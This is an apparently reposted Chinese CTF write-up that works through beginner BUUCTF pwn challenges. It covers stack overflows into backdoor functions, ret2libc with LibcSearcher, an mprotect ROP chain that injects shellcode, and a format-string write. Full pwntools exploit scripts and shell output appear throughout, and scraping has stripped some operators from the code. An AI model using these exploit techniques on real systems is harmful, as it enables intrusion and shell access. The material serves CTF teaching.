快捷搜索:  汽车  科技

pawn回暖状态:今天你pwn了吗上

pawn回暖状态:今天你pwn了吗上from pwn import * #p=process("./pwn1") p=remote("node3.buuoj.cn" 29153) #gdb.attach(p) #p.recvuntil("please input\n") payload="a"*0xf p64(0xdeadbeef) p64(0x401187) p.sendline(payload) p.interactive()$ python pwn1.py [ ] Opening connection to node3.buuoj.cn on port 29153: Done [*] Switching to interactive mode $ cat flag flag{cdaa1381-ef92-4910-be96-225d3ad273c0}war

作者:紫色仰望合天智汇

前言:

"二进制太难了" 一起到 buu 开始 刷题吧。这里 仅记录 下 非高分题目的 解题思路和 知识讲解。特别是文章里的函数,我特意整理了下,还请好好学习下。

test_your_nc 18.04

64位的elf 程序,一运行就拿到shell了。

int __cdecl main(int argc const char **argv const char **envp) { system("/bin/sh"); return 0; }gdb: ► 0x555555555140 <main 11> call system@plt <0x555555555030> rdi command: 0x555555556004 ◂— 0x68732f6e69622f /* '/bin/sh' */

nc 连接下远程,即可拿到 flag。

$ nc node3.buuoj.cn 27279 cat flag flag{b710e4ab-0c62-456a-a699-2744d59fd65c}

rip

在pwn 中,控制了rip 就控制了世界。 64位程序 拖入ida:

int __cdecl main(int argc const char **argv const char **envp) { char s; // [rsp 1h] [rbp-Fh] puts("please input"); gets(&s argv); puts(&s); puts("ok bye!!!"); return 0; } int fun() //0x401186 { return system("/bin/sh"); }

如果我们将 main函数的retrun 地址处 给覆盖成 0x401186,那么在程序执行到 return的时候,rip 就会被赋值给 0x401186,于是就紧接着执行 后门函数 fun()从而拿到shell。 这里就简单 看下 gets函数吧。

函数原型: # include <stdio.h> char *gets(char *str); 功能:从输入缓冲区中读取一个字符串存储到字符指针变量 str 所指向的内存空间。 注意:使用 gets() 时,系统会将最后“敲”的换行符从缓冲区中取出来,然后丢弃, 所以缓冲区中不会遗留换行符。也意味着函数以 "\n"截断输入。

所以 这题我们可以输入任意字节数据, s的偏移 为 rbp-Fh 于是我们构造payload "a"*0xf p64(0xdeadbeef) p64(0x401187) #0x401186的有点问题,于是加1。

我们写下 以下 exp拿得 flag:

from pwn import * #p=process("./pwn1") p=remote("node3.buuoj.cn" 29153) #gdb.attach(p) #p.recvuntil("please input\n") payload="a"*0xf p64(0xdeadbeef) p64(0x401187) p.sendline(payload) p.interactive()$ python pwn1.py [ ] Opening connection to node3.buuoj.cn on port 29153: Done [*] Switching to interactive mode $ cat flag flag{cdaa1381-ef92-4910-be96-225d3ad273c0}

warmup_csaw_2016

和上题几乎一样,64位elf程序 且 有栈溢出 漏洞,有后门函数。

__int64 __fastcall main(__int64 a1 char **a2 char **a3) { char s; // [rsp 0h] [rbp-80h] char v5; // [rsp 40h] [rbp-40h] write(1 "-Warm Up-\n" 0xAuLL); write(1 "WOW:" 4uLL); sprintf(&s "%p\n" sub_40060D); write(1 &s 9uLL); write(1 ">" 1uLL); return gets(&v5 ">"); } int sub_40060D() //0x40060D { return system("cat flag.txt"); }

v5的偏移 为 rbp-40h, 和上题的思路一样,我们写出下面 exp:

from pwn import * #p=process("./warmup_csaw_2016") p=remote("node3.buuoj.cn" 27848) #gdb.attach(p) p.recvuntil(">") payload="a"*0x40 p64(0xdeadbeef) p64(0x40060D 1) p.sendline(payload) p.interactive()

拿到 flag:

$ python warmup_csaw_2016.py [ ] Opening connection to node3.buuoj.cn on port 27848: Done [*] Switching to interactive mode flag{04d5cb5e-638b-4783-ba2b-097f6224f1ea}

pwn1_sctf_2016

32位的c 写的程序 这里我们首先简单看下 C 中的两个 函数:

fgets 函数原型:char * fgets ( char * str int num FILE * stream ); 函数功能: 从流中读取字符,并将它们作为C字符串存储到str中,直到已读取(num-1)个字符或到达换行符或到达文件末尾(以先发生的为准)。 换行符使fgets停止读取,但是该函数将其视为有效字符并包含在复制到str的字符串中。 复制到str的字符后会自动附加一个终止的空字符。 请注意,fgets与gets完全不同:fgets不仅接受流参数,而且还允许指定str的最大大小,并在字符串中包括任何结尾的换行符。 std:replace https://blog.csdn.net/jiary5201314/article/details/52502516 函数原型: template <class ForwardIterator class T> void replace (ForwardIterator first ForwardIterator last const T& old_value const T& new_value); 函数功能: 替换范围内的值 将new_value分配给[first,last)范围内所有等于old_value的元素。 该函数使用"operator ==" 将各个元素与old_value进行比较。 该功能模板的行为等效于: template <class ForwardIterator class T> void replace (ForwardIterator first ForwardIterator last const T& old_value const T& new_value) { while (first!=last) { if (*first == old_value) *first=new_value; first; } } 参数再介绍: first last:将迭代器转发到元素序列中的初始位置和最终位置,这些元素支持比较并分配为T类型的值。 使用的范围是[first,last),其中包含first和last之间的所有元素,包括由指向的元素 首先但不是最后指出的元素。 old_value:要替换的值。 new_value:新的值 可以暂时粗略地地这样记下: replace (first last old_value new_value); std::string::operator=(&input &s); 作用: 就是 将s指针赋值到 inputs地址里了。 //我真是太懒了。 strcpy: 函数原型:char * strcpy ( char * destination const char * source ); 函数功能: 将source指向的C字符串复制到destination指向的数组中,包括终止的空字符(并在该位置停止)。 为避免溢出,目标指向的数组的大小应足够长,以包含与源相同的C字符串(包括终止空字符),并且在内存中不应与源重叠。

ida:

int vuln() { const char *v0; // eax char s; // [esp 1Ch] [ebp-3Ch] char v3; // [esp 3Ch] [ebp-1Ch] char v4; // [esp 40h] [ebp-18h] char v5; // [esp 47h] [ebp-11h] char v6; // [esp 48h] [ebp-10h] char v7; // [esp 4Fh] [ebp-9h] printf("Tell me something about yourself: "); fgets(&s 32 edata); std::string::operator=((int)&input (int)&s); // 将s_addr复制到input_addr中 // 即 执行后 input_addr地址里存的内容是 s_addr 地址 std::allocator<char>::allocator(&v5); // 给v5申请内存 std::string::string(&v4 "you" &v5); // v4被赋值 成了" you" v5不变 std::allocator<char>::allocator(&v7); // 给v5申请内存 std::string::string(&v6 "I" &v7); // v6被赋值 成了" I" v7不变 replace((std::string *)&v3); std::string::operator=(&input &v3 &v6 &v4);// 这里 ida 反编译的有些毛病 // 正常的话 19和20行应该是下面的样子: // replace (v3,&inputs "I" "you"); // // replace后存在 inputs里 std::string::~string((std::string *)&v3); std::string::~string((std::string *)&v6); std::allocator<char>::~allocator(&v7); std::string::~string((std::string *)&v4); std::allocator<char>::~allocator(&v5); v0 = (const char *)std::string::c_str((std::string *)&input);// 获取C字符串等效返回一个数组的指针,该数组包含一个以null结尾的字符序列 // (即表示字符串对象的当前值。该数组包含组成字符串对象的值的相同字符序列,并在末尾附加一个终止空字符('\0')。 strcpy(&s v0); //栈溢出漏洞 return printf("So %s\n" &s); } int get_flag() //0x08048F0D { return system("cat flag.txt"); }

觉得这题是C 程序,因本垃圾对C 的 接触程度 简直是个无基础,去查了下 相关的函数,所以这题整体来说 还是一个 很简单的 题。

栈溢出 漏洞,且存在 后门函数 即get_flag。 程序的流程 其实 是 我们输入字符串有字节限制:32,并且将字符串中的 "I"变成"you" 然后变之后的 字符串再存在&s处,偏移是 ebp-3Ch。

具体大家看 上面分析和注释就好了。 0x3c加上ebp的四字节,retaddr的4字节,需要0x3c 4 4等于68字节

我们输入 21个"I"的话就相当于 已经输入 63字节,然后补上一个字节,再补上后门地址,我们刚刚好输入的字节少于 32。满足要求。

写出的exp如下:

from pwn import * context.log_level = 'debug' p=process("./pwn1_sctf_2016") p=remote("node3.buuoj.cn" 28977) #p.recvuntil("Tell me something about yourself: ") payload="I"*21 "a" p32(0x08048F0D) p.sendline(payload) p.interactive()

拿到 flag.txt

$ python pwn1_sctf_2016.py [ ] Starting local process './pwn1_sctf_2016': pid 2148 [ ] Opening connection to node3.buuoj.cn on port 28977: Done [DEBUG] Sent 0x1b bytes: 00000000 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 │IIII│IIII│IIII│IIII│ 00000010 49 49 49 49 49 61 0d 8f 04 08 0a │IIII│Ia··│···│ 0000001b [*] Switching to interactive mode [DEBUG] Received 0x2b bytes: 'flag{41400e92-b944-453c-aef3-7a266312708a}\n'

ciscn_2019_n_1

64位elf 程序:

ida: int func() { int result; // eax char v1; // [rsp 0h] [rbp-30h] float v2; // [rsp 2Ch] [rbp-4h] v2 = 0.0; puts("Let's guess the number."); gets(&v1); if ( v2 == 11.28125 ) result = system("cat /flag"); else result = puts("Its value should be 11.28125"); return result; }

gets函数 可导致栈溢出,如果要pwn到这个程序 我们仅需将 v2 处 覆盖为 11.28125,即可拿到 flag 程序中已经有了 11.28125 在 内存中存储的 是 41348000h,大家有兴趣可以去搜索下,是如何转换的。 于是我们写以下 exp:

from pwn import * #context.log_level = 'debug' #p=process("./ciscn_2019_n_1") p=remote("node3.buuoj.cn" 27678) #p.recvuntil("Tell me something about yourself: ") payload="I"*(0x30-0x4) p32(0x41348000) p.sendline(payload) p.interactive()

可以拿到 flag

$ python ciscn_2019_n_1.py [ ] Opening connection to node3.buuoj.cn on port 27678: Done [*] Switching to interactive mode Let's guess the number. flag{df573e25-a3c0-4749-a60d-a3fd5797d0ab}

其实 还可以 将func的返回地址 给后门函数 也很简单。就不写了。

ciscn_2019_c_1

64位elf程序,我们直接看ida 好了。 ida:

int __cdecl main(int argc const char **argv const char **envp) { int v4; // [rsp Ch] [rbp-4h] init(); puts("EEEEEEE hh iii "); puts("EE mm mm mmmm aa aa cccc hh nn nnn eee "); puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e "); puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee "); puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee "); puts("===================================================================="); puts("Welcome to this Encryption machine\n"); begin(); // puts("===================================================================="); // puts("1.Encrypt"); // puts("2.Decrypt"); // puts("3.Exit"); // return puts("Input your choice!"); while ( 1 ) { while ( 1 ) { fflush(0LL); v4 = 0; __isoc99_scanf("%d" &v4); // 十进制输入 getchar(); if ( v4 != 2 ) break; puts("I think you can do it by yourself"); begin(); } if ( v4 == 3 ) { puts("Bye!"); return 0; } if ( v4 != 1 ) break; encrypt(); begin(); } puts("Something Wrong!"); return 0; } int encrypt() { size_t v0; // rbx char input[48]; // [rsp 0h] [rbp-50h] __int16 v3; // [rsp 30h] [rbp-20h] memset(input 0 sizeof(input)); v3 = 0; puts("Input your Plaintext to be encrypted"); gets(input); // 栈溢出漏洞 while ( 1 ) { v0 = (unsigned int)x; if ( v0 >= strlen(input) ) break; if ( input[x] <= 96 || input[x] > 'z' ) // 不属于[a-z] input[x]^13 { if ( input[x] <= 64 || input[x] > 'Z' ) // 不属于[A-Z] input[x]^14 { if ( input[x] > 47 && input[x] <= '9' ) // [0-9] input[x]^15 input[x] ^= 15u; } else { input[x] ^= 14u; } } else { input[x] ^= 13u; } x; } puts("Ciphertext"); return puts(input); }

很简单的 栈溢出题。这题没有给libc,而buu上的环境是 18.04.我这里使用 LibcSearcher 找出的libc,真的很好用。 然后这题的encrypt函数中 会把我们的输入做异或处理,(见上面注释)我以为 的输入内容会 很大程度上 改变我们输入的 变化甚至输入的长度,特别是觉得会导致 最后 覆盖 ret_addr上 数据 因异或处理而 没有了作用。但又看了下源码,并不会。因为 这题最多 只对 48字节做了异或处理。就不再担心了。

如果 对我们的输入的所有数据都做异或的 话,也是有办法 解决的。 因为根据异或的特性,二次异或后 就还是 原 数据了。即输入前可让我们的payload先经一次异或处理再传入。 大家可以看下这个文章:

https://darkwing.moe/2019/11/26/ciscn-2019-c-1/def dd(enc): res = '' for i in range(len(enc)): if ord(enc[i]) <= 96 or ord(enc[i]) > 122: if ord(enc[i]) <= 64 or ord(enc[i]) > 90: if ord(enc[i]) > 47 or ord(enc[i]) <= 57: res = chr(ord(enc[i]) ^ 0xf) else: res = chr(ord(enc[i]) ^ 0xe) else: res = chr(ord(enc[i]) ^ 0xd) return res

下面是我写的 exp:

from pwn import * from LibcSearcher import * context.log_level = 'debug' #p=process("./ciscn_2019_c_1") p=remote("node3.buuoj.cn" 25495) elf=ELF("./ciscn_2019_c_1") puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] start_addr=0x400790 pop_rdi_ret=0x400c83 payload="a"*0x50 "a"*0x8 p64(pop_rdi_ret) p64(puts_got) p64(puts_plt) p64(start_addr) p.sendlineafter("Input your choice!\n" "1") p.sendlineafter("Input your Plaintext to be encrypted\n" payload) p.recvuntil('@') p.recvline() puts_addr=u64(p.recv(6).ljust(8 '\x00')) print "puts_addr is " hex(puts_addr) libc=LibcSearcher("puts" puts_addr) libc_base=puts_addr-libc.dump("puts") system_addr=libc_base libc.dump("system") str_bin_sh=libc_base libc.dump("str_bin_sh") print "libc_base is " hex(libc_base) print "system_addr is " hex(system_addr) print "str_bin_sh is " hex(str_bin_sh) ret_addr=0x4006b9 payload="a"*0x50 "a"*0x8 p64(pop_rdi_ret) p64(str_bin_sh) p64(system_addr) payload="a"*0x50 "a"*0x8 p64(ret_addr) p64(pop_rdi_ret) p64(str_bin_sh) p64(system_addr) p.sendlineafter("Input your choice!\n" "1") p.sendlineafter("Input your Plaintext to be encrypted\n" payload) p.interactive()

另外 在一些64位的glibc的payload调用system函数失败问题 – Ex个人博客

http://blog.eonew.cn/archives/958

"自己跟进去的话,能够看到确实是栈没对齐,那很简单,多加个ret对齐,再找个ret的gadget就可以." 这里我就没有跟了,直接 加了ret 。顺利拿到flag。

pawn回暖状态:今天你pwn了吗上(1)

[OGeek2019]babyrop

在看这题之前 我们来简单看下几个C函数:

strlen() 函数原型:size_t strlen ( const char * str ); 函数功能: 返回C字符串str的长度。 C字符串的长度由终止的空字符确定:C字符串的长度与字符串开头和终止的空字符之间的字符数一样长(不包括终止的空字符本身)。 strncmp() 函数原型:int strncmp ( const char * str1 const char * str2 size_t num ); 函数功能: 比较两个字符串的字符,比较C字符串str1的num字符和C字符串str2的num字符。 这个函数开始比较每个字符串的第一个字符。如果它们彼此相等,则继续执行以下操作, 直到字符不同为止,直到到达一个终止的空字符,或者直到两个字符串中的num字符匹配为止(以先发生的情况为准)。

然后 分析下程序流程,看ida:

int __cdecl main() { int buf; // [esp 4h] [ebp-14h] char v2; // [esp Bh] [ebp-Dh] int fd; // [esp Ch] [ebp-Ch] sub_80486BB(); fd = open("/dev/urandom" 0); if ( fd > 0 ) read(fd &buf 4u); v2 = sub_804871F(buf); sub_80487D0(v2); return 0; } ******************************************************************* int __cdecl sub_804871F(int a1) { size_t v1; // eax char s; // [esp Ch] [ebp-4Ch] char buf[7]; // [esp 2Ch] [ebp-2Ch] unsigned __int8 v5; // [esp 33h] [ebp-25h] ssize_t v6; // [esp 4Ch] [ebp-Ch] memset(&s 0 0x20u); memset(buf 0 0x20u); sprintf(&s "%ld" a1); v6 = read(0 buf 0x20u); buf[v6 - 1] = 0; v1 = strlen(buf); if ( strncmp(buf &s v1) ) exit(0); write(1 "Correct\n" 8u); return v5; } ************************************************************** ssize_t __cdecl sub_80487D0(char a1) { ssize_t result; // eax char buf; // [esp 11h] [ebp-E7h] if ( a1 == 127 ) result = read(0 &buf 0xC8u); else result = read(0 &buf a1); return result; }

即首先 我们取出 一个随机数 作为参数 a1传入 sub_804871F函数处理。

sub_804871F函数是将我们的输入 buf 给 那个随机数 a1做比较,比较的字节数是buf的的strlen 长度。 但经过上面我们的介绍,strlen 遇到 \x00便停止函数执行。从而去绕过 strncmp 函数。

而 sub_804871F函数 中的v5是最后的返回值,而这个v5 我们可以通过v6 = read(0 buf 0x20u); 这里去 覆盖 v5的值。 我们把它覆盖很大 就好了。

在最后的 sub_80487D0 函数中,我们可通过 上面覆盖的 v5 作为read的第三个参数,从而有栈溢出漏洞。 通过write 去泄露libc 然后得到system 和 /bin/sh 从而去getshell。

于是我写出以下 exp:

from pwn import * from LibcSearcher import * #context.log_level = 'debug' #p=process("./babyrop") p=remote("node3.buuoj.cn" 29981) elf=ELF("./babyrop") #gdb.attach(p) payload="\x00\x00\x00\x00" "a"*(0x2c-0x25-0x4) "\xff" p.sendline(payload) p.recvuntil("Correct\n") write_plt=elf.plt['write'] write_got=elf.got['write'] main_addr=0x08048825 payload="a"*0xE7 p32(0xdeadbeef) p32(write_plt) p32(main_addr) p32(1) p32(write_got) p32(4) p.sendline(payload) write_addr=u32(p.recv(4)) print "write_addr is " hex(write_addr) libc=LibcSearcher("write" write_addr) libc_base=write_addr-libc.dump("write") system_addr=libc_base libc.dump("system") str_bin_sh=libc_base libc.dump("str_bin_sh") print "libc_base is " hex(libc_base) print "system_addr is " hex(system_addr) print "str_bin_sh is " hex(str_bin_sh) payload="\x00\x00\x00\x00" "a"*(0x2c-0x25-0x4) "\xff" p.sendline(payload) p.recvuntil("Correct\n") payload="a"*0xE7 p32(0xdeadbeef) p32(system_addr) p32(main_addr) p32(str_bin_sh) p.sendline(payload) p.interactive()

拿到flag:

$ python babyrop.py [ ] Opening connection to node3.buuoj.cn on port 29981: Done [*] '/home/yangmutou/\xe6\xa1\x8c\xe9\x9d\xa2/buuctf/100/[OGeek2019]babyrop/babyrop' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) write_addr is 0xf7e853c0 [ ] ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) be choosed. libc_base is 0xf7db1000 system_addr is 0xf7deb940 str_bin_sh is 0xf7f0a02b [*] Switching to interactive mode $ cat flag flag{543be984-c4bd-48ac-94a4-f5fadc41bd05}

ciscn_2019_en_2

额,这题,简单看一下和上面那题 ciscn_2019_c_1 好像一样,跑了下上面的 exp 也能跑通,就不记录了。

get_started_3dsctf_2016

这题仍然程序很小,开启了NX保护的32位的elf程序: 查询保护:

[*] Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

其实还是 挺麻烦的,如果 要拿到远程的 flag的话。 ida:

int __cdecl main(int argc const char **argv const char **envp) { char v4; // [esp 4h] [ebp-38h] printf("Qual a palavrinha magica? " v4); gets(&v4); //gets 栈溢出漏洞。 return 0; } void __cdecl get_flag(int a1 int a2) //0x080489A0 { int v2; // eax int v3; // esi unsigned __int8 v4; // al int v5; // ecx unsigned __int8 v6; // al if ( a1 == 0x308CD64F && a2 == 0x195719D1 ) { v2 = fopen("flag.txt" "rt"); v3 = v2; v4 = getc(v2); if ( v4 != 255 ) { v5 = (char)v4; do { putchar(v5); v6 = getc(v3); v5 = (char)v6; } while ( v6 != 255 ); } fclose(v3); } }

gets 使得我们可以输入任意字节数据。我们把ret_addr处 给覆盖为 后门函数 get_flag(a1 a2)的地址0x080489A0 ,但 这个后门函数的两个参数 必须分别是 0x308CD64F 和 0x195719D1才可拿到 flag。

exp如下:

from pwn import * from LibcSearcher import * #context.log_level="debug" p=process("./get_started_3dsctf_2016") #p=remote("node3.buuoj.cn" "26350") #gdb.attach(p) payload="a"*0x38 p32(0x080489A0) p32(0xdeadbeef) p32(0x308CD64F) p32(0x195719D1) p.sendline(payload) p.interactive() 本地可以成功拿到flag.txt $ python get_started_3dsctf_2016.py [ ] Starting local process './get_started_3dsctf_2016': pid 7833 [*] Switching to interactive mode Qual a palavrinha magica? flag{shimutouna} [*] Got EOF while reading in interactive

但远程却不可以,报如下错

$ python get_started_3dsctf_2016.py [ ] Starting local process './get_started_3dsctf_2016': pid 7845 [ ] Opening connection to node3.buuoj.cn on port 26350: Done [*] Switching to interactive mode timeout: the monitored command dumped core [*] Got EOF while reading in interactive

我们 去想下 第二种 做法: 在这之前我们 去 了解下 mprotect函数:

mprotect 函数原型:int mprotect(void *addr size_t len int prot); //addr 内存启始地址 //len 修改内存的长度 //prot 内存的权限 函数作用:将以addr开始的内存 到 addr len的内存的权限给设置为 prot (rwx)

我们通过 vmmap命令可查看到:0x80ea000 -0x80ec000的内存是 可读可写,我们通过 mprotect函数 让它也可执行。

pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x8048000 0x80ea000 r-xp a2000 0 /home/yangmutou/桌面/buuctf/100/get_started_3dsctf_2016 0x80ea000 0x80ec000 rw-p 2000 a1000 /home/yangmutou/桌面/buuctf/100/get_started_3dsctf_2016 0x80ec000 0x810f000 rw-p 23000 0 [heap] 0xf7ff9000 0xf7ffc000 r--p 3000 0 [vvar] 0xf7ffc000 0xf7ffe000 r-xp 2000 0 [vdso] 0xfffdd000 0xffffe000 rw-p 21000 0 [stack] pwndbg>

因为开启了NX,我们 不可以再栈中去传入 shellcode去执行了,但我们在ida 的函数栏可以看到 函数栏中 有 mprotect。 于是 我们可以通过 修改 某段内存为 可读可写可执行的 权限,我们 通过rop的方式向 那个内存写入shell ,最后在控制程序执行到那里 便可以 去执行 shellcode了 我们重新编写 exp:

from pwn import * from LibcSearcher import * #context.log_level="debug" #p=process("./get_started_3dsctf_2016") elf=ELF("./get_started_3dsctf_2016") p=remote("node3.buuoj.cn" "26350") #gdb.attach(p) ret_addr=0x08048196 mprotect_addr=elf.sym["mprotect"] read_plt=elf.sym["read"] pop_3_ret=0x08063adb m_start= 0x80ea000 #vmmap len=0x2000 prot=4 2 1 #(rwx) #ropper --file get_started_3dsctf_2016 --search "pop|ret" ''' 0x08063adb: pop edi; pop esi; pop ebx; ret; ''' payload_1="a"*0x38 p32(mprotect_addr) p32(pop_3_ret) p32(m_start) p32(len) p32(prot) #mprotect(m_start len 7); payload_1 =p32(read_plt) p32(pop_3_ret) p32(0) p32(m_start) p32(0x100)#read(0 m_start 100) payload_1 =p32(m_start) p.sendline(payload_1) payload_2=asm(shellcraft.sh() arch = 'i386' os = 'linux')# shellcode len is 40 p.sendline(payload_2) p.interactive()

成功拿下远程 flag:

$ python get_started_3dsctf_2016_2.py [ ] Starting local process './get_started_3dsctf_2016': pid 8941 [*] Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [ ] Opening connection to node3.buuoj.cn on port 26350: Done [*] Switching to interactive mode $ cat flag flag{6a6589e9-0641-44f9-a32c-50c713d33797}

ciscn_2019_n_8

32位elf程序保护全开。 看下程序流程:

int __cdecl main(int argc const char **argv const char **envp) { int v4; // [esp-14h] [ebp-20h] int v5; // [esp-10h] [ebp-1Ch] var[13] = 0; var[14] = 0; init(); puts("What's your name?"); __isoc99_scanf((int)"%s" (int)var v4 v5); if ( *(_QWORD *)&var[13] ) { if ( *(_QWORD *)&var[13] == 17LL ) system("/bin/sh"); else printf( "something wrong! val is %d" var[0] var[1] var[2] var[3] var[4] var[5] var[6] var[7] var[8] var[9] var[10] var[11] var[12] var[13] var[14]); } else { printf("%s Welcome!\n" var); puts("Try do something~"); } return 0; }

这题发现 我们的输入数据存在了 int var[15]的数组里,而当 var[13] ==17时就可以拿到shell了。 放了截图好了就。

pawn回暖状态:今天你pwn了吗上(2)

[第五空间2019 决赛]PWN5

此题为32位elf程序: 拖入ida:

int __cdecl main(int a1) { unsigned int v1; // eax int fd; // ST14_4 int result; // eax int v4; // ecx unsigned int v5; // et1 char nptr; // [esp 4h] [ebp-80h] char buf; // [esp 14h] [ebp-70h] unsigned int v8; // [esp 78h] [ebp-Ch] int *v9; // [esp 7Ch] [ebp-8h] v9 = &a1; v8 = __readgsdword(0x14u); setvbuf(stdout 0 2 0); v1 = time(0); srand(v1); fd = open("/dev/urandom" 0); read(fd &unk_804C044 4u); printf("your name:"); read(0 &buf 0x63u); printf("Hello "); printf(&buf); // 格式化字符串漏洞 printf("your passwd:"); read(0 &nptr 15u); if ( atoi(&nptr) == unk_804C044 ) { puts("ok!!"); system("/bin/sh"); } else { puts("fail"); } result = 0; v5 = __readgsdword(0x14u); v4 = v5 ^ v8; if ( v5 != v8 ) sub_80493D0(v4); return result; }

我们可以看到 程序的流程为 将一个随机数存入 0x804C044地址上。 然后只要我们输入一个数 与0x804c044上的数据一致就可拿到flag。

而在 第 25行的 printf(&buf); 经典的 格式化字符串漏洞。可任意地址读写,我们通过%offsset$n 的的方式 任意写 使得 0x804C044地址上的数据 为 可控值。 经 动态可得 我们的输入 的偏移为 10,我们可构造以下payload

payload=p32(mubiao_addr) p32(mubiao_addr 1) p32(mubiao_addr 2) p32(mubiao_addr 3) payload ="$hhn$hhn$hhn$hhn"

简单说明下,偏移为10的地址上存着 mubiao_addr,偏移为11的地址上存着 mubiao_addr 1,偏移为12的地址上存着 mubiao_addr 2,偏移为13的地址上存着 mubiao_addr 3,$hhn会将前面已经输出的字节(数0x10)写入到 偏移为10的地址上mubiao_addr种去,$hhn,$hhn,$hhn ,效果类似。 具体 格式化字符串漏洞学习 可在 ctfwiki上学习。

于是我们写出 以下 exp:

from pwn import * #p=process("./pwn5") p=remote("node3.buuoj.cn" 27842) #gdb.attach(p) #p.recvuntil("your name:") offset=10 mubiao_addr=0x804C044 # elf:32 payload=p32(mubiao_addr) p32(mubiao_addr 1) p32(mubiao_addr 2) p32(mubiao_addr 3) payload ="$hhn$hhn$hhn$hhn" p.sendline(payload) raw_input p.sendline(str(269488144))#0x10101010->269488144 p.interactive()

成功getshell。

$ python pwn5.py [ ] Opening connection to node3.buuoj.cn on port 27842: Done [*] Switching to interactive mode your name:Hello D�E�F�G� your passwd:ok!! $ cat flag flag{e772f007-8d5e-4bef-8324-ee437868dbe9}

后记:

师傅们,今天你pwn 了!!!

相关推荐:

高级栈溢出技术—ROP实战(write4)

http://www.hetianlab.com/expc.do?ec=ECIDde51-4540-4672-a9b8-a4f1a0482414

pawn回暖状态:今天你pwn了吗上(3)

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!

猜您喜欢: